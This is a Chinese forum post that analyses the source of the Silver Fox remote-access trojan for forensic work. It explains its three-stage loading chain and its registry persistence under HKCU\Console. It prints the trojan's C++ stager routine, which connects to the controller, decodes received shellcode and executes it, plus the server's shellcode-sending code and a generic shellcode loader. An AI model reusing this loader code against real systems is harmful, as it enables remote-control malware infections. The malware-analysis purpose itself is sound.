找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3104

积分

0

好友

402

主题
发表于 21 小时前 | 查看: 0| 回复: 0

最近由于工作需要,我在研究银狐这套经典远控的源码,并在公众号发布了一系列相关的技术文章。某天晚上,一位自称是某市网安部门的工作人员联系到我,咨询相关技术问题,并希望我能协助他们分析一起银狐变种“木马”的活动样本。

在征得当事人同意后,我特地撰写了这篇技术文章,希望对存在类似困惑的读者有所帮助,同时也希望能给从事安全攻防的小伙伴带来一些技术上的启发。

特别声明:

  1. 本文介绍的内容仅作技术交流之用,请勿将相关技术用于其他非法用途,违者责任自负。
  2. 作者不提供任何可用于生成有效 shellcode 或免杀版本的银狐源码。只接受持有效证件的网安部门技术交流与合作,黑灰产人员请勿打扰。

为何常规分析工具会失效?

要想验证一个软件是否在你的电脑上进行不法活动,微软的 Sysinternals 系列工具 Process Monitor 是一个非常友好的选择。它可以详细记录一个进程读写哪些文件、访问哪些注册表项、连接了哪些网络地址。示意图如下:

Process Monitor 监控进程文件与注册表操作

如果你熟悉 Windows 编程,可以使用更高级的工具如 API Monitor 来检测一个进程调用了哪些系统 API,从而大致了解软件的行为。

API Monitor 监控系统API调用
API Capture Filter 工具界面

然而,对于分析银狐远控的被控端(Client)而言,上述两种方法均告失效。原因主要有两点:

1. 内存加载技术隐藏 API 调用

银狐被控端利用内存加载技术隐藏了各类系统 API 的调用。其核心实现位于插件解决方案的 执行代码 工程中,如下图所示:

银狐被控端代码中的内存加载实现

具体的实现流程,我在之前的文章《银狐远控免杀与shellcode修复思路分析 01》中已有详细介绍。这是一种在安全工程中常见的自我保护策略。

2. 被控主程序仅为加载器 (Stager)

更为关键的是,银狐的被控端主程序本质上只是一个加载器。它采用了典型的“多阶段”加载策略。安全工程中通常将第一阶段称为 Stager,后续阶段称为 Stageless。银狐的上线流程就是一个经典的三阶段模型:

  1. 加载器 (Stager):即“执行代码”模块,连接主控端。
  2. 请求上线模块:加载器向主控请求 上线模块shellcode 并执行。
  3. 请求登录模块上线模块 再向主控请求 登录模块shellcode,执行后发送上线数据包,完成在主控端的注册。

这个过程可以通过下面的流程图来理解:

银狐远控三阶段上线流程图

这种通过网络分阶段请求并加载执行代码的方式,极大地增强了被控端的对抗分析能力。即使 Stager 被静态分析,也只能看出其有网络请求和执行行为,而无法知晓后续下载并执行的模块的具体功能。

深入代码:追踪模块加载链条

理解了架构,我们结合代码来追踪具体的实现。

第一阶段:Stager 请求上线模块

TCP 请求为例(UDP 类似),执行代码 模块中的 mytcp 函数负责与主控建立连接并请求 shellcode

执行模块请求上线模块的代码逻辑

void mytcp(func_t* func, int i)
{
    LPVOID  buff = NULL;
    ADDRINFOA* ip = NULL;
    func->m_socket = func->socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (func->m_socket == INVALID_SOCKET)
        goto end;

    func->buff = (CHAR*)func->VirtualAlloc(0, 512 * 1024 + 14, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!func->buff)
        goto end;

    if (func->getaddrinfo((i == 1) ? func->add1 : func->add2, 0, 0, &ip) != 0)
        goto end;

    func->ClientAddr = *((SOCKADDR_IN*)ip->ai_addr);
    func->ClientAddr.sin_port = func->htons((i == 1) ? func->data->szPort1 : func->data->szPort2);
    //加载器与主控连接
    if (func->connect(func->m_socket, (SOCKADDR*)&(func->ClientAddr), sizeof(func->ClientAddr)) == SOCKET_ERROR)
        goto end;

#ifdef _WIN64
    char name[] = { '6','4',0 };
#else
    char name[] = { '3','2',0 };
#endif
    // 请求上线模块
    int rt = func->send(func->m_socket, name, sizeof(name), 0);
    if (rt <= 0)
        goto end;
    int len = 0;
    int nSize = 0;
    buff = func->VirtualAlloc(0, 310 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!buff)
        goto end;
    do
    {
        // 收取上线模块数据
        nSize = func->recv(func->m_socket, (CHAR*)buff, 100 * 1024, 0);
        if (nSize <= 0)
            goto end;
        func->_MoveMemory(func->buff + len, (void*)buff, (DWORD)nSize);
        len += nSize;
    } while (len != (300 * 1024 + 14));
    if (buff)
        func->VirtualFree(buff, 0, MEM_RELEASE);
    msg(0, 0, 0, 0);
    byte* password = (byte*)(func->buff) + 4;
    func->buff = (char*)(func->buff) + 14;
    for (int i = 0, j = 0; i < (int)len; i++)   //加密
    {
        ((char*)func->buff)[i] ^= (password[j++]) % 456 + 54;
        if (i % (10) == 0)
            j = 0;
    }
    typedef VOID(__stdcall* CODE) (_In_ TCHAR*);
    // 上线模块数据为可直接执行的shellcode,直接执行
    CODE fn = ((CODE(*)()) func->buff)();
    fn(func->confi);
    do {} while (1);

end:
    if (ip)
        func->freeaddrinfo(ip);
    if (func->m_socket != INVALID_SOCKET)
        func->closesocket(func->m_socket);
    if (func->buff)
        func->VirtualFree(func->buff, 0, MEM_RELEASE);
    if (buff)
        func->VirtualFree(buff, 0, MEM_RELEASE);
}

主控端在 HpTcpServer.cpp 中响应该请求,下发对应的 shellcode

主控端识别并发送对应架构的shellcode

//MainFrame.cpp
void CMainFrame::ProcessSendShellcode(ClientContext* pContext, int i)
{
    OUT_PUT_FUNCION_NAME_INFO
        BYTE* bPacket = new BYTE[512 * 1024];
    memset(bPacket, 0, 300 * 1024);
    if (i == 0)
    {
        memcpy(bPacket, m_Shellcode32, m_ShellcodeSize32);
    }
    else
    {
        memcpy(bPacket, m_Shellcode64, m_ShellcodeSize64);
    }
    g_pSocketBase->Send(pContext, bPacket, 300 * 1024);
    SAFE_DELETE_AR(bPacket);

    return;
}

这里的 m_Shellcode32m_Shellcode64 来源于主控启动时从特定文件加载的 上线模块.dll_bin。这个 .bin 文件是如何产生的呢?它是通过编译插件工程 上线模块 的特定配置生成的。

首先,以 Release 模式编译生成标准的 上线模块.dll

生成标准DLL文件的VS项目配置

然后,以 Release-exe 模式编译,生成 上线模块.dll_bin 文件,这实际上是将 DLL 转换成了可直接执行的 shellcode 格式。

生成Shellcode格式bin文件的VS项目配置

主控程序将这些插件文件作为资源嵌入,并在启动时通过 WriteAndReadPlugins 函数进行处理。该函数会调用关键的 dll_to_shellcode 函数,将合法的 PE 文件(DLL)转换成 shellcode*_bin 文件)。

这正是银狐远控实现中最精彩的部分之一,虽然代码可能借鉴自网络,但其思路非常值得从事安全工程和攻防研究的同学学习。 关于 PEShellcode 的详细技术,在相关的高级安全课程中有专门章节论述。

第二阶段:上线模块请求登录模块

上线模块 被执行后,会创建一个主线程 MainThread

上线模块MainThread函数入口

该线程会与主控建立新连接,并发送 TOKEN_GETVERSION 命令,请求 登录模块

上线模块发送请求登录模块版本命令

主控响应此命令,发送 登录模块.dll_binshellcode 数据。被控端 上线模块 收到数据后,会与本地注册表中存储的版本进行比对。

关键突破口:插件数据存储在注册表

被控端将所有插件的 shellcode 数据持久化存储在注册表中。对于 x64 系统,路径是 HKEY_CURRENT_USER\Console\1;对于 x86 系统,路径是 HKEY_CURRENT_USER\Console\0。其中,项的“名称”是插件 shellcodeMD5 值,“数据”是二进制的 shellcode 内容。

注册表中存储的插件Shellcode数据

这个位置具有极强的隐蔽性,对于普通用户甚至开发者来说,看起来都像是系统控制台的配置数据,不敢轻易删除。

至此,本文开头的那个问题就找到了答案: 虽然无法直接分析一个“空壳”加载器的行为,但只要在运行过该被控端的电脑上,检查上述注册表位置,提取出其中存储的各个插件 shellcode,就能完全分析出这个远控实际具备的所有功能。

因为这些 shellcode 本身就是可执行代码,你甚至可以编写一个简单的加载器来验证其功能:

int main()
{
    // 1. 从注册表 HKEY_CURRENT_USER\Console\0(或1) 中读取特定MD5键值对应的二进制数据到 buffer
    // char* buffer = ...; size_t size = ...; (代码省略)

    // 2. 分配可执行内存
    void* mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (mem == NULL)
    {
        std::cout << "无法分配内存" << std::endl;
        return 1;
    }

    // 3. 复制 shellcode 到内存
    memcpy(mem, buffer, size);

    // 4. 执行 shellcode
    typedef void(*ShellcodeFunc)();
    ShellcodeFunc sc = (ShellcodeFunc)mem;
    sc();

    // 5. 清理
    VirtualFree(mem, 0, MEM_RELEASE);
    // delete[] buffer;
    return 0;
}

第三阶段及后续:插件动态加载

登录模块 执行后,会发送包含本机信息的登录数据包,在主控端上线。主控端列表的表头信息就来源于此数据包。

主控端在线列表,信息来源于被控登录包

当在主控端点击某个功能(如“文件管理”)时,主控会下发 COMMAND_DLLMAIN 命令。登录模块 收到命令后,会检查内存和注册表中是否有对应插件的 shellcode

  • 如果存在且版本匹配:直接取出执行。
  • 如果不存在或版本不匹配:向主控请求 COMMAND_SENDLL,收到数据后存入注册表并执行。

最终,插件 shellcode 会被加载并执行其导出函数(如 Main),从而启动相应的远控功能(如文件管理、远程终端等)。插件执行状态会反馈到主控界面。

插件加载状态反馈在主控界面

总结与启发

我们来梳理一下银狐远控的核心加载链条:

  1. 执行代码 (Stager):初始加载器,请求并执行 上线模块
  2. 上线模块 (Stage 2):请求并执行 登录模块,负责核心通信链建立。
  3. 登录模块 (Stage 3):发送上线信息,并管理所有后续功能插件的加载。

这种模块化、阶段化的设计,不仅提高了隐匿性和生存能力,也使得功能扩展变得清晰。只要遵循其加载协议,就可以为其开发新的插件模块。

对于安全分析人员而言,这次协助调查的经历揭示了一个重要的分析思路:在面对复杂的、具有对抗性的恶意软件时,静态分析加载器可能收效甚微,关键在于寻找其持久化存储和缓存的数据。这些数据(如银狐存储在注册表中的插件 shellcode)往往包含了攻击者的完整“武器库”,是进行行为分析和取证的关键。

通过剖析银狐远控的源码,我们不仅能理解一款经典工具的内部机理,更能深刻体会到攻防双方在技术层面上的持续博弈。无论是为了提升防御能力,还是进行合法的渗透测试研究,深入理解这些网络攻防技术的底层原理都至关重要。

附录:技术实现细节
文中涉及的大量代码逻辑,尤其是 C++ 层面的内存操作、网络通信和 Windows API 的动态调用,都体现了对系统底层的深入理解。对于希望深入安全工程Windows系统编程的开发者来说,研究此类项目(须在合法合规前提下)是绝佳的学习路径。欢迎大家在云栈社区交流更多技术实践与心得。




上一篇:详解Python内置类型:从初学者误区到统一对象模型
下一篇:Linux 内核漏洞利用:Punch Hole 在 Linux 6.18 中的条件竞争与 UAF 实战
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-2 22:08 , Processed in 0.415628 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表